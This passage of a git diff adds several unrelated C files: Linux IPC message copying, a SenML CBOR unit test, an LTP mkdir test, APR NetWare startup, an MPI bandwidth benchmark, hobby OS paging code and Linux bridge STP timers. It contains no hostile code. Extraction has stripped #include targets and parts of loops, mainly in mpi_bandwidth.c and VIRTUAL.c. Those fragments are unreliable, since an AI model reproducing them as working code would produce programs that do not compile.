xyas(sect.sct_dist_x, sect.sct_dist_y, player->cnum)); + return RET_FAIL; + } + if (!mapbuf) + mapbuf = malloc(WORLD_Y * MAPWIDTH(3)); + if (!map) { + map = malloc(WORLD_Y * sizeof(char *)); + if (map && mapbuf) { + for (i = 0; i < WORLD_Y; i++) + map[i] = &mapbuf[MAPWIDTH(3) * i]; + } else if (map) { + free(map); + map = NULL; + } + } + if (!mapbuf || !map) { + pr("Memory error, tell the deity.\n"); + logerror("malloc failed in path\n"); + return RET_FAIL; + } + pathrange(cx, cy, buf, 1, &absrange); + snxtsct_area(&ns, &absrange); + natp = getnatp(player->cnum); + xyrelrange(natp, &absrange, &relrange); + blankfill(mapbuf, &ns.range, 3); + for (pp = buf; *pp; ++pp) { + i = diridx(*pp); + if (CANT_HAPPEN(i == DIR_STOP)) + break; + memcpy(&map[delty(&ns.range, cy)][deltx(&ns.range, cx) * 2], + routech[i], 3); + cx = xnorm(cx + diroff[i][0]); + cy = ynorm(cy + diroff[i][1]); + } + border(&relrange, " ", " "); + while (nxtsct(&ns, §)) { + if (!player->owner) + continue; + map[ns.dy][ns.dx * 2 + 1] = dchr[sect.sct_type].d_mnem; + } + for (y = ns.range.ly, i = 0; i < ns.range.height; y++, i++) { + cy = yrel(natp, y); + pr("%4d %s %-4d\n", cy, map[i], cy); + if (y >= WORLD_Y) + y -= WORLD_Y; + } + border(&relrange, " ", " "); + return RET_OK; +} diff --git a/pool/shard011/C/0142018_msgutil.c b/pool/shard011/C/0142018_msgutil.c new file mode 100644 index 0000000000000000000000000000000000000000..6471f1bdae96f2c6650a3c369bb77d0dc357d388 --- /dev/null +++ b/pool/shard011/C/0142018_msgutil.c @@ -0,0 +1,146 @@ +/* + * linux/ipc/msgutil.c + * Copyright (C) 1999, 2004 Manfred Spraul + * + * This file is released under GNU General Public Licence version 2 or + * (at your option) any later version. + * + * See the file COPYING for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" + +DEFINE_SPINLOCK(mq_lock); + +/* + * The next 2 defines are here bc this is the only file + * compiled when either CONFIG_SYSVIPC and CONFIG_POSIX_MQUEUE + * and not CONFIG_IPC_NS. + */ +struct ipc_namespace init_ipc_ns = { + .count = ATOMIC_INIT(1), + .user_ns = &init_user_ns, + .proc_inum = PROC_IPC_INIT_INO, +}; + +atomic_t nr_ipc_ns = ATOMIC_INIT(1); + +struct msg_msgseg { + struct msg_msgseg* next; + /* the next part of the message follows immediately */ +}; + +#define DATALEN_MSG (PAGE_SIZE-sizeof(struct msg_msg)) +#define DATALEN_SEG (PAGE_SIZE-sizeof(struct msg_msgseg)) + +struct msg_msg *load_msg(const void __user *src, int len) +{ + struct msg_msg *msg; + struct msg_msgseg **pseg; + int err; + int alen; + + alen = len; + if (alen > DATALEN_MSG) + alen = DATALEN_MSG; + + msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL); + if (msg == NULL) + return ERR_PTR(-ENOMEM); + + msg->next = NULL; + msg->security = NULL; + + if (copy_from_user(msg + 1, src, alen)) { + err = -EFAULT; + goto out_err; + } + + len -= alen; + src = ((char __user *)src) + alen; + pseg = &msg->next; + while (len > 0) { + struct msg_msgseg *seg; + alen = len; + if (alen > DATALEN_SEG) + alen = DATALEN_SEG; + seg = kmalloc(sizeof(*seg) + alen, + GFP_KERNEL); + if (seg == NULL) { + err = -ENOMEM; + goto out_err; + } + *pseg = seg; + seg->next = NULL; + if (copy_from_user(seg + 1, src, alen)) { + err = -EFAULT; + goto out_err; + } + pseg = &seg->next; + len -= alen; + src = ((char __user *)src) + alen; + } + + err = security_msg_msg_alloc(msg); + if (err) + goto out_err; + + return msg; + +out_err: + free_msg(msg); + return ERR_PTR(err); +} + +int store_msg(void __user *dest, struct msg_msg *msg, int len) +{ + int alen; + struct msg_msgseg *seg; + + alen = len; + if (alen > DATALEN_MSG) + alen = DATALEN_MSG; + if (copy_to_user(dest, msg + 1, alen)) + return -1; + + len -= alen; + dest = ((char __user *)dest) + alen; + seg = msg->next; + while (len > 0) { + alen = len; + if (alen > DATALEN_SEG) + alen = DATALEN_SEG; + if (copy_to_user(dest, seg + 1, alen)) + return -1; + len -= alen; + dest = ((char __user *)dest) + alen; + seg = seg->next; + } + return 0; +} + +void free_msg(struct msg_msg *msg) +{ + struct msg_msgseg *seg; + + security_msg_msg_free(msg); + + seg = msg->next; + kfree(msg); + while (seg != NULL) { + struct msg_msgseg *tmp = seg->next; + kfree(seg); + seg = tmp; + } +} diff --git a/pool/shard011/C/0142019_main.c b/pool/shard011/C/0142019_main.c new file mode 100644 index 0000000000000000000000000000000000000000..2486fd003103dbeb7b308de94e4fa3c2eb423b32 --- /dev/null +++ b/pool/shard011/C/0142019_main.c @@ -0,0 +1,126 @@ +/* + * Copyright (C) 2021 Silke Hofstra + * + * This file is subject to the terms and conditions of the GNU Lesser + * General Public License v2.1. See the file LICENSE in the top level + * directory for more details. + */ + +/** + * @ingroup tests + * @{ + * + * @file + * @brief Short SenML CBOR test + * + * @author Silke Hofstra + * + * @} + */ + +#include +#include + +#include "embUnit.h" +#include "senml/cbor.h" +#include "fmt.h" + +#define BUF_SIZE (128) + +static uint8_t cbor_buf[BUF_SIZE]; +static char result[2 * BUF_SIZE]; +static char expect[] = "89A5216943424F522074657374221A608404D001616D07187802F953B0A206" + "0102F953B0A2060202183DA2060302183DA2060402C48220190267A2060504" + "F5A20606036752494F54204F53A20607084400010203A201626B6705183D"; + +void test_senml_encode(void) +{ + nanocbor_encoder_t enc; + + /* Some common attributes to set on the first element */ + senml_attr_t attr = { + .base_name = "CBOR test", + .base_time = senml_duration_s(1619264720), + .update_time = senml_duration_s(120), + .unit = SENML_UNIT_METER, + }; + + /* A numeric (float) value */ + senml_value_t vf = { .attr = attr, .value = senml_float(61.5) }; + + /* A numeric (double) value */ + senml_value_t vd = { .attr = { .time = senml_duration_s(1) }, + .value = senml_double(61.5) }; + + /* A numeric (int) value */ + senml_value_t vi = { .attr = { .time = senml_duration_s(2) }, + .value = senml_int(61) }; + + /* A numeric (uint) value */ + senml_value_t vu = { .attr = { .time = senml_duration_s(3) }, + .value = senml_uint(61) }; + + /* A numeric (decimal fraction) value */ + senml_value_t vdf = { .attr = { .time = senml_duration_s(4) }, + .value = senml_decfrac(615, -1) }; + + /* A boolean value */ + senml_bool_value_t vb = { .attr = { .time = senml_duration_s(5) }, + .value = true }; + + /* A string value */ + char string[] = "RIOT OS"; + senml_string_value_t vs = { .attr = { .time = senml_duration_s(6) }, + .value = string, .len = sizeof string - 1 }; + + /* A data value */ + uint8_t data[] = { 0x00, 0x01, 0x02, 0x03 }; + senml_data_value_t vdat = { .attr = { .time = senml_duration_s(7) }, + .value = data, .len = sizeof data }; + + /* A numeric (float) sum value */ + senml_attr_t sum = { + .sum = senml_int(61), + .unit = SENML_UNIT_KILOGRAM, + }; + + /* Initialize encoder, and start array */ + nanocbor_encoder_init(&enc, cbor_buf, sizeof cbor_buf); + nanocbor_fmt_array(&enc, 9); + + /* Encode the values */ + senml_encode_value_cbor(&enc, &vf); + senml_encode_value_cbor(&enc, &vd); + senml_encode_value_cbor(&enc, &vi); + senml_encode_value_cbor(&enc, &vu); + senml_encode_value_cbor(&enc, &vdf); + senml_encode_bool_cbor(&enc, &vb); + senml_encode_string_cbor(&enc, &vs); + senml_encode_data_cbor(&enc, &vdat); + senml_encode_sum_cbor(&enc, &sum); + + size_t len = nanocbor_encoded_len(&enc); + + fmt_bytes_hex(result, cbor_buf, len); + + /* Compare hex result */ + TEST_ASSERT_EQUAL_INT(2 * len, sizeof(expect) - 1); + TEST_ASSERT_EQUAL_INT(0, strncmp(expect, result, len)); +} + +Test *tests_senml(void) +{ + EMB_UNIT_TESTFIXTURES(fixtures) { + new_TestFixture(test_senml_encode), + }; + EMB_UNIT_TESTCALLER(senml_tests, NULL, NULL, fixtures); + return (Test *)&senml_tests; +} + +int main(void) +{ + TESTS_START(); + TESTS_RUN(tests_senml()); + TESTS_END(); + return 0; +} diff --git a/pool/shard011/C/0142020_mkdir05.c b/pool/shard011/C/0142020_mkdir05.c new file mode 100644 index 0000000000000000000000000000000000000000..6b979464ea801108458fa7121242db8092a62a26 --- /dev/null +++ b/pool/shard011/C/0142020_mkdir05.c @@ -0,0 +1,213 @@ +/* + * + * Copyright (c) International Business Machines Corp., 2001 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * NAME + * mkdir05 + * + * DESCRIPTION + * This test will verify the mkdir(2) syscall basic functionality + * + * ALGORITHM + * Setup: + * Setup signal handling + * Pause for SIGUSR1 if option specified + * Create temporary directory + * + * Test: + * Loop if the proper options are given + * call mkdir() using the TEST macro + * if the call fails, issue FAIL message and contine + * if STD_FUNCTIONAL_TEST + * stat the directory + * check for correct owner and group ID + * if these are correct + * issue a PASS message + * else + * issue a FAIL message + * else + * issue a PASS message + * + * Cleanup: + * Print errno log and/or timing stats if options given + * Delete the temporary directory created + * USAGE + * mkdir05 [-c n] [-f] [-i n] [-I x] [-p x] [-t] + * where, -c n : Run n copies concurrently. + * -f : Turn off functionality Testing. + * -i n : Execute test n times. + * -I x : Execute test for x seconds. + * -P x : Pause for x seconds between iterations. + * -t : Turn on syscall timing. + * + * HISTORY + * 07/2001 Ported by Wayne Boyer + * + * RESTRICTIONS + * None. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "test.h" +#include "usctest.h" + +void setup(); +void cleanup(); + +#define PERMS 0777 + +char *TCID = "mkdir05"; /* Test program identifier. */ +int TST_TOTAL = 1; /* Total number of test cases. */ + +char nobody_uid[] = "nobody"; +struct passwd *ltpuser; + +char tstdir1[100]; + +int main(int ac, char **av) +{ + int lc; + char *msg; + struct stat buf; + + /* + * parse standard options + */ + if ((msg = parse_opts(ac, av, NULL, NULL)) != NULL) { + tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg); + } + + /* + * perform global setup for test + */ + setup(); + + /* + * check looping state if -i option given + */ + for (lc = 0; TEST_LOOPING(lc); lc++) { + + Tst_count = 0; + + /* + * TEST mkdir() base functionality + */ + + /* Initialize the test directory name */ + sprintf(tstdir1, "tstdir1.%d", getpid()); + + /* Call mkdir(2) using the TEST macro */ + TEST(mkdir(tstdir1, PERMS)); + + if (TEST_RETURN == -1) { + tst_resm(TFAIL, "mkdir(%s, %#o) Failed", + tstdir1, PERMS); + continue; + } + + if (STD_FUNCTIONAL_TEST) { + if (stat(tstdir1, &buf) == -1) { + tst_brkm(TBROK, cleanup, "failed to stat the " + "new directory"); + } + /* check the owner */ + if (buf.st_uid != geteuid()) { + tst_resm(TFAIL, "mkdir() FAILED to set owner ID" + " as process's effective ID"); + continue; + } + /* check the group ID */ + if (buf.st_gid != getegid()) { + tst_resm(TFAIL, "mkdir() failed to set group ID" + " as the process's group ID"); + continue; + } + tst_resm(TPASS, "mkdir() functionality is correct"); + } else { + tst_resm(TPASS, "call succeeded"); + } + + /* clean up things in case we are looping */ + if (rmdir(tstdir1) == -1) { + tst_brkm(TBROK, cleanup, "could not remove directory"); + } + + } + + /* + * cleanup and exit + */ + cleanup(); + tst_exit(); + +} + +/* + * setup() - performs all ONE TIME setup for this test. + */ +void setup() +{ + /* Switch to nobody user for correct error code collection */ + if (geteuid() != 0) { + tst_brkm(TBROK, NULL, "Test must be run as root"); + } + ltpuser = getpwnam(nobody_uid); + if (setuid(ltpuser->pw_uid) == -1) { + tst_resm(TINFO, "setuid failed to " + "to set the effective uid to %d", ltpuser->pw_uid); + perror("setuid"); + } + + tst_sig(FORK, DEF_HANDLER, cleanup); + + TEST_PAUSE; + + /* Create a temporary directory and make it current. */ + tst_tmpdir(); +} + +/* + * cleanup() - performs all ONE TIME cleanup for this test at + * completion or premature exit. + */ +void cleanup() +{ + /* + * print timing stats if that option was specified. + * print errno log if that option was specified. + */ + TEST_CLEANUP; + + /* + * Remove the temporary directory. + */ + tst_rmdir(); + + /* + * Exit with return code appropriate for results. + */ + +} diff --git a/pool/shard011/C/0142021_libprews.c b/pool/shard011/C/0142021_libprews.c new file mode 100644 index 0000000000000000000000000000000000000000..6e37ccf1d393e72d8afe8f836296cc33efc59bd4 --- /dev/null +++ b/pool/shard011/C/0142021_libprews.c @@ -0,0 +1,186 @@ +/* Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#include +#include +#include + +#include "apr_pools.h" +#include "apr_private.h" +#include "apr_arch_internal_time.h" + + +/* library-private data...*/ +int gLibId = -1; +void *gLibHandle = (void *) NULL; +NXMutex_t *gLibLock = (NXMutex_t *) NULL; + +/* internal library function prototypes...*/ +int DisposeLibraryData(void *); + +int _NonAppStart +( + void *NLMHandle, + void *errorScreen, + const char *cmdLine, + const char *loadDirPath, + size_t uninitializedDataLength, + void *NLMFileHandle, + int (*readRoutineP)( int conn, void *fileHandle, size_t offset, + size_t nbytes, size_t *bytesRead, void *buffer ), + size_t customDataOffset, + size_t customDataSize, + int messageCount, + const char **messages +) +{ +#ifdef USE_WINSOCK + WSADATA wsaData; +#endif + apr_status_t status; + + NX_LOCK_INFO_ALLOC(liblock, "Per-Application Data Lock", 0); + +#pragma unused(cmdLine) +#pragma unused(loadDirPath) +#pragma unused(uninitializedDataLength) +#pragma unused(NLMFileHandle) +#pragma unused(readRoutineP) +#pragma unused(customDataOffset) +#pragma unused(customDataSize) +#pragma unused(messageCount) +#pragma unused(messages) + + gLibId = register_library(DisposeLibraryData); + + if (gLibId < -1) + { + OutputToScreen(errorScreen, "Unable to register library with kernel.\n"); + return -1; + } + + gLibHandle = NLMHandle; + + gLibLock = NXMutexAlloc(0, 0, &liblock); + + if (!gLibLock) + { + OutputToScreen(errorScreen, "Unable to allocate library data lock.\n"); + return -1; + } + + apr_netware_setup_time(); + + if ((status = apr_pool_initialize()) != APR_SUCCESS) + return status; + +#ifdef USE_WINSOCK + return WSAStartup((WORD) MAKEWORD(2, 0), &wsaData); +#else + return 0; +#endif +} + +void _NonAppStop( void ) +{ + apr_pool_terminate(); + +#ifdef USE_WINSOCK + WSACleanup(); +#endif + + unregister_library(gLibId); + NXMutexFree(gLibLock); +} + +int _NonAppCheckUnload( void ) +{ + return 0; +} + +int register_NLM(void *NLMHandle) +{ + APP_DATA *app_data = (APP_DATA*) get_app_data(gLibId); + + NXLock(gLibLock); + if (!app_data) { + app_data = (APP_DATA*)library_malloc(gLibHandle, sizeof(APP_DATA)); + + if (app_data) { + memset (app_data, 0, sizeof(APP_DATA)); + set_app_data(gLibId, app_data); + app_data->gs_nlmhandle = NLMHandle; + } + } + + if (app_data && (!app_data->initialized)) { + app_data->initialized = 1; + NXUnlock(gLibLock); + return 0; + } + + NXUnlock(gLibLock); + return 1; +} + +int unregister_NLM(void *NLMHandle) +{ + APP_DATA *app_data = (APP_DATA*) get_app_data(gLibId); + + NXLock(gLibLock); + if (app_data) { + app_data->initialized = 0; + NXUnlock(gLibLock); + return 0; + } + NXUnlock(gLibLock); + return 1; +} + +int DisposeLibraryData(void *data) +{ + if (data) + { + library_free(data); + } + + return 0; +} + +int setGlobalPool(void *data) +{ + APP_DATA *app_data = (APP_DATA*) get_app_data(gLibId); + + NXLock(gLibLock); + + if (app_data && !app_data->gPool) { + app_data->gPool = data; + } + + NXUnlock(gLibLock); + return 1; +} + +void* getGlobalPool() +{ + APP_DATA *app_data = (APP_DATA*) get_app_data(gLibId); + + if (app_data) { + return app_data->gPool; + } + + return NULL; +} + diff --git a/pool/shard011/C/0142022_mpi_bandwidth.c b/pool/shard011/C/0142022_mpi_bandwidth.c new file mode 100644 index 0000000000000000000000000000000000000000..c575a2b31b5074388a47048ae258d8a2ec205bdc --- /dev/null +++ b/pool/shard011/C/0142022_mpi_bandwidth.c @@ -0,0 +1,159 @@ +/**************************************************************************** + * FILE: mpi_bandwidth.c + * DESCRIPTION: + * Provides point-to-point communications timings for any even + * number of MPI tasks. + * AUTHOR: Blaise Barney + * LAST REVISED: 04/13/05 + * SOURCE=https://computing.llnl.gov/tutorials/mpi/samples/C/mpi_bandwidth.c + * Some minor changes have been made. + ****************************************************************************/ +#include "mpi.h" +#include +#include +#include +#include + +#define MAXTASKS 8192 +/* Change the next four parameters to suit your case */ +#define STARTSIZE 128*1024 +#define ENDSIZE 1024*1024 +#define INCREMENT 32*1024 +#define ROUNDTRIPS 100 + +int main (int argc, char *argv[]) +{ + int numtasks, rank, n, i, j, rndtrps, nbytes, start, end, incr, + src, dest, rc=0, tag=1, taskpairs[MAXTASKS], namelength; + double thistime, bw, bestbw, worstbw, totalbw, avgbw, + bestall, avgall, worstall, + timings[MAXTASKS/2][3], tmptimes[3], + resolution, t1, t2; + char msgbuf[ENDSIZE], host[MPI_MAX_PROCESSOR_NAME], + hostmap[MAXTASKS][MPI_MAX_PROCESSOR_NAME]; + struct timeval tv1, tv2; + MPI_Status status; + + /* Some initializations and error checking */ + MPI_Init(&argc,&argv); + MPI_Comm_size(MPI_COMM_WORLD, &numtasks); + if (numtasks % 2 != 0) { + printf("ERROR: Must be an even number of tasks! Quitting...\n"); + MPI_Abort(MPI_COMM_WORLD, rc); + exit(0); + } + MPI_Comm_rank(MPI_COMM_WORLD, &rank); + start = STARTSIZE; + end = ENDSIZE; + incr = INCREMENT; + rndtrps = ROUNDTRIPS; + for (i=0; i= numtasks/2) + dest = src = rank - numtasks/2; + MPI_Gather(&dest, 1, MPI_INT, &taskpairs, 1, MPI_INT, 0, MPI_COMM_WORLD); + + if (rank == 0) { + resolution = MPI_Wtick(); + printf("\n******************** MPI Bandwidth Test ********************\n"); + printf("Message start size= %d kB \n",start/1024); + printf("Message finish size= %d kB \n",end/1024); + printf("Incremented by %d kB per iteration\n",incr/1024); + printf("Roundtrips per iteration= %d\n",rndtrps); + printf("MPI_Wtick resolution = %e\n",resolution); + printf("************************************************************\n"); + for (i=0; i bestbw ) bestbw = bw; + if (bw < worstbw ) worstbw = bw; + } + /* Convert to megabytes per second */ + bestbw = bestbw/1000000.0; + avgbw = (totalbw/1000000.0)/(double)rndtrps; + worstbw = worstbw/1000000.0; + + /* Task 0 collects timings from all relevant tasks */ + if (rank == 0) { + /* Keep track of my own timings first */ + timings[0][0] = bestbw; + timings[0][1] = avgbw; + timings[0][2] = worstbw; + /* Initialize overall averages */ + bestall = 0.0; + avgall = 0.0; + worstall = 0.0; + /* Now receive timings from other tasks and print results. Note */ + /* that this loop will be appropriately skipped if there are */ + /* only two tasks. */ + for (j=1; j= numtasks/2) { + for (n=start; n<=end; n=n+incr) { + for (i=1; i<=rndtrps; i++){ + MPI_Recv(&msgbuf, n, MPI_CHAR, src, tag, MPI_COMM_WORLD, &status); + MPI_Send(&msgbuf, n, MPI_CHAR, dest, tag, MPI_COMM_WORLD); + } + } + } + + + MPI_Finalize(); + +} /* end of main */ diff --git a/pool/shard011/C/0142023_VIRTUAL.c b/pool/shard011/C/0142023_VIRTUAL.c new file mode 100644 index 0000000000000000000000000000000000000000..b704e5311709722bc2231acce32583d68aa28879 --- /dev/null +++ b/pool/shard011/C/0142023_VIRTUAL.c @@ -0,0 +1,164 @@ +/* +./DRIVERSRC/SYSTEM/MEM/VIRTUAL.C +*/ + +#include "VIRTUAL.H" +#include "PAGEFAULT.H" +#include "../../HARDWARE/RS232.H" +#include + + +//#define DEBUG + +void setPaging(bool enable); +void setPageDirectroy(pdir_p dir); + +//IN START.ASM: +extern void enable_paging(void); +extern void disable_paging(void); + +pdir_p KERNEL_PAGE_DIR; + +Page_Entry Create_Page(paddr physical, bool user, bool write) +{ +/*#ifdef DEBUG + txf(1, "\n\r(VIRTUAL.C:Line 23) Create_Page(0x%x, 0x%x, 0x%x)\n\r", physical, user, write); +#endif*/ + Page_Entry e = I86_PTE_PRESENT; + if (user) + e |= I86_PTE_USER; + if (write) + e |= I86_PTE_WRITABLE; + e = (Page_Entry) ((Page_Entry) (e & (Page_Entry)(~I86_PTE_FRAME)) | (Page_Entry) physical); + return e; +} + +void Add_Table_To_Dir(uint32_t index, ptbl_p table, pdir_p dir, bool user, bool write) +{ +#ifdef DEBUG + txf(1, "\n\r(VIRTUAL.C:Line 36) Add_Table_To_Dir(0x%x, 0x%x, 0x%x, 0x%x, 0x%x)\n\r", index, (uint32_t) table, (uint32_t) dir, user, write); +#endif + uint32_t *entry = (uint32_t*) &dir->table [index]; + *entry = I86_PDE_PRESENT; + if (user) + *entry |= I86_PDE_USER; + if (write) + *entry |= I86_PDE_WRITABLE; + *entry = (uint32_t) ((*entry & (uint32_t) (~I86_PDE_FRAME)) | (uint32_t)table); +} + +void setPaging(bool enable) +{ +#ifdef DEBUG + txf(1, "\n\r(VIRTUAL.C:Line 50) setPaging(0x%x)\n\r", enable); +#endif + if (enable) + enable_paging(); + else + disable_paging(); +} + +void setPageDirectroy(pdir_p dir) +{ +#ifdef DEBUG + txf(1, "\n\r(VIRTUAL.C:Line 61) setPageDirectroy(0x%x)\n\r", (uint32_t) dir); +#endif + __asm__ __volatile__ ("mov %0, %%cr3":: "b"(dir)); +} + +pdir_t *Kernel_Page_Dir_Address() +{ +#ifdef DEBUG + txf(1, "\n\r(VIRTUAL.C:Line 69) Kernel_Page_Dir_Address() = 0x%x\n\r", (uint32_t) ((pdir_t *) KERNEL_PAGE_DIR)); +#endif + return (pdir_t *) KERNEL_PAGE_DIR; +} + +void _VMem_init() +{ +#ifdef DEBUG + txf(1, "\n\r(VIRTUAL.C:Line 77) _VMem_init()\n\r"); +#endif + // Allocate Kernel page directory + KERNEL_PAGE_DIR = (pdir_p) calloc(3); + if (!KERNEL_PAGE_DIR) + return; + + // Map Table With All RAM in system identically mapped + uint32_t frame = 0, virt = 0;//, x = 0; + for(unsigned int x = 0; x < (_mmngr_memory_size / 0x1000); x++) { + // Allocate a page table + ptbl_p table = (ptbl_p) calloc(1); + if (!table) + return; + for (unsigned int i=0; ipage[i] = page; + } + // Add Table To Directory + Add_Table_To_Dir(x, table, KERNEL_PAGE_DIR, true, true); + } + + // Setup Page Fault Handler + _pageFault_init(); + + // switch to our page directory + setPageDirectroy (KERNEL_PAGE_DIR); + + // enable paging + setPaging (true); +} + + +/*typedef struct Process_Return { + pdir_p dir; + uint32_t location; + uint32_t size; + } p_ret;*/ +pdir_p Create_Process_Directory(uint32_t process_size_bytes, uint32_t *physical_location) +{ +#ifdef DEBUG + txf(1, "\n\r(VIRTUAL.C:Line 120) Create_Process_Directory(0x%x. 0x%x)\n\r", process_size_bytes, (uint32_t) *physical_location); +#endif + + pdir_p ret = (pdir_p) calloc(3); + *physical_location = (uint32_t) calloc(process_size_bytes / PAGE_SIZE); +#ifdef DEBUG + txf(1, "\t(VIRTUAL.C:Line 127) Physical Location Of Thread = 0x%x\n\r", (uint32_t) *physical_location); +#endif + // Setup directory... + // Stack + paddr *stack = calloc(2); //8KB stack for process ends at 0xC0000000 Virtual +#ifdef DEBUG + txf(1, "\t(VIRTUAL.C:Line 133) Physical Location Of Stack = 0x%x\n\r", (uint32_t) (paddr) *stack); +#endif + ptbl_p tablestack = (ptbl_p) calloc(1); //C0000000 + Page_Entry stackpage0 = Create_Page((uint32_t)stack, true, true); //BFFFE000 + Page_Entry stackpage1 = Create_Page(((uint32_t)stack)+0x1000, true, true); + tablestack->page[1022] = stackpage0; + tablestack->page[1023] = stackpage1; + Add_Table_To_Dir(0x2FF, tablestack, ret, true, true); + // Process Code/Data/Bss (its the file from disk hopefully) + uint32_t frame = *physical_location; + uint32_t virt = 0x800000; + for(unsigned int x = 2; x <= (process_size_bytes / PAGE_SIZE)+1; x++) // process offset = 0x800000 / 6MB + { + // Allocate a page table + ptbl_p table = (ptbl_p) calloc(1); + if (!table) + return 0; + for (unsigned int i = 0; ipage[i] = page; + } + // Add Table To Directory + Add_Table_To_Dir(x, table, ret, true, true); + } + Add_Table_To_Dir(0, KERNEL_PAGE_DIR->table[0], ret, false, false); + Add_Table_To_Dir(1, KERNEL_PAGE_DIR->table[1], ret, false, false); + return ret; +} \ No newline at end of file diff --git a/pool/shard011/C/0142024_br_stp_timer.c b/pool/shard011/C/0142024_br_stp_timer.c new file mode 100644 index 0000000000000000000000000000000000000000..3e965140051e79ad146cc41bd0da78f93d26d476 --- /dev/null +++ b/pool/shard011/C/0142024_br_stp_timer.c @@ -0,0 +1,173 @@ +/* + * Spanning tree protocol; timer-related code + * Linux ethernet bridge + * + * Authors: + * Lennert Buytenhek + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include + +#include "br_private.h" +#include "br_private_stp.h" + +/* called under bridge lock */ +static int br_is_designated_for_some_port(const struct net_bridge *br) +{ + struct net_bridge_port *p; + + list_for_each_entry(p, &br->port_list, list) { + if (p->state != BR_STATE_DISABLED && + !memcmp(&p->designated_bridge, &br->bridge_id, 8)) + return 1; + } + + return 0; +} + +static void br_hello_timer_expired(unsigned long arg) +{ + struct net_bridge *br = (struct net_bridge *)arg; + + br_debug(br, "hello timer expired\n"); + spin_lock(&br->lock); + if (br->dev->flags & IFF_UP) { + br_config_bpdu_generation(br); + + mod_timer(&br->hello_timer, round_jiffies(jiffies + br->hello_time)); + } + spin_unlock(&br->lock); +} + +static void br_message_age_timer_expired(unsigned long arg) +{ + struct net_bridge_port *p = (struct net_bridge_port *) arg; + struct net_bridge *br = p->br; + const bridge_id *id = &p->designated_bridge; + int was_root; + + if (p->state == BR_STATE_DISABLED) + return; + + br_info(br, "port %u(%s) neighbor %.2x%.2x.%pM lost\n", + (unsigned) p->port_no, p->dev->name, + id->prio[0], id->prio[1], &id->addr); + + /* + * According to the spec, the message age timer cannot be + * running when we are the root bridge. So.. this was_root + * check is redundant. I'm leaving it in for now, though. + */ + spin_lock(&br->lock); + if (p->state == BR_STATE_DISABLED) + goto unlock; + was_root = br_is_root_bridge(br); + + br_become_designated_port(p); + br_configuration_update(br); + br_port_state_selection(br); + if (br_is_root_bridge(br) && !was_root) + br_become_root_bridge(br); + unlock: + spin_unlock(&br->lock); +} + +static void br_forward_delay_timer_expired(unsigned long arg) +{ + struct net_bridge_port *p = (struct net_bridge_port *) arg; + struct net_bridge *br = p->br; + + br_debug(br, "port %u(%s) forward delay timer\n", + (unsigned) p->port_no, p->dev->name); + spin_lock(&br->lock); + if (p->state == BR_STATE_LISTENING) { + p->state = BR_STATE_LEARNING; + mod_timer(&p->forward_delay_timer, + jiffies + br->forward_delay); + } else if (p->state == BR_STATE_LEARNING) { + p->state = BR_STATE_FORWARDING; + if (br_is_designated_for_some_port(br)) + br_topology_change_detection(br); + netif_carrier_on(br->dev); + } + br_log_state(p); + spin_unlock(&br->lock); +} + +static void br_tcn_timer_expired(unsigned long arg) +{ + struct net_bridge *br = (struct net_bridge *) arg; + + br_debug(br, "tcn timer expired\n"); + spin_lock(&br->lock); + if (br->dev->flags & IFF_UP) { + br_transmit_tcn(br); + + mod_timer(&br->tcn_timer,jiffies + br->bridge_hello_time); + } + spin_unlock(&br->lock); +} + +static void br_topology_change_timer_expired(unsigned long arg) +{ + struct net_bridge *br = (struct net_bridge *) arg; + + br_debug(br, "topo change timer expired\n"); + spin_lock(&br->lock); + br->topology_change_detected = 0; + br->topology_change = 0; + spin_unlock(&br->lock); +} + +static void br_hold_timer_expired(unsigned long arg) +{ + struct net_bridge_port *p = (struct net_bridge_port *) arg; + + br_debug(p->br, "port %u(%s) hold timer expired\n", + (unsigned) p->port_no, p->dev->name); + + spin_lock(&p->br->lock); + if (p->config_pending) + br_transmit_config(p); + spin_unlock(&p->br->lock); +} + +void br_stp_timer_init(struct net_bridge *br) +{ + setup_timer(&br->hello_timer, br_hello_timer_expired, + (unsigned long) br); + + setup_timer(&br->tcn_timer, br_tcn_timer_expired, + (unsigned long) br); + + setup_timer(&br->topology_change_timer, + br_topology_change_timer_expired, + (unsigned long) br); + + setup_timer(&br->gc_timer, br_fdb_cleanup, (unsigned long) br); +} + +void br_stp_port_timer_init(struct net_bridge_port *p) +{ + setup_timer(&p->message_age_timer, br_message_age_timer_expired, + (unsigned long) p); + + setup_timer(&p->forward_delay_timer, br_forward_delay_timer_expired, + (unsigned long) p); + + setup_timer(&p->hold_timer, br_hold_timer_expired, + (unsigned long) p); +} + +/* Report ticks left (in USER_HZ) used for API */ +unsigned long br_timer_value(const struct timer_list *timer) +{ + return timer_pending(timer) + ? jiffies_to_clock_t(timer->expires - jiffies) : 0; +} diff --git a/pool/shard011/C/0142025_Descriptors.c b/pool/shard011/C/0142025_Descriptors.c new file mode 100644 index 0000000000000000000000000000000000000000..f12b2325b932db9a700d508564491ebe01d75b8f --- /dev/null +++ b/pool/shard011/C/0142025_Descriptors.c @@ -0,0 +1,221 @@ +/* + LUFA Library + Copyright (C) Dean Camera, 2010. + + dean [at] fourwalledcubicle [dot] com + www.fourwalledcubicle.com +*/ + +/* 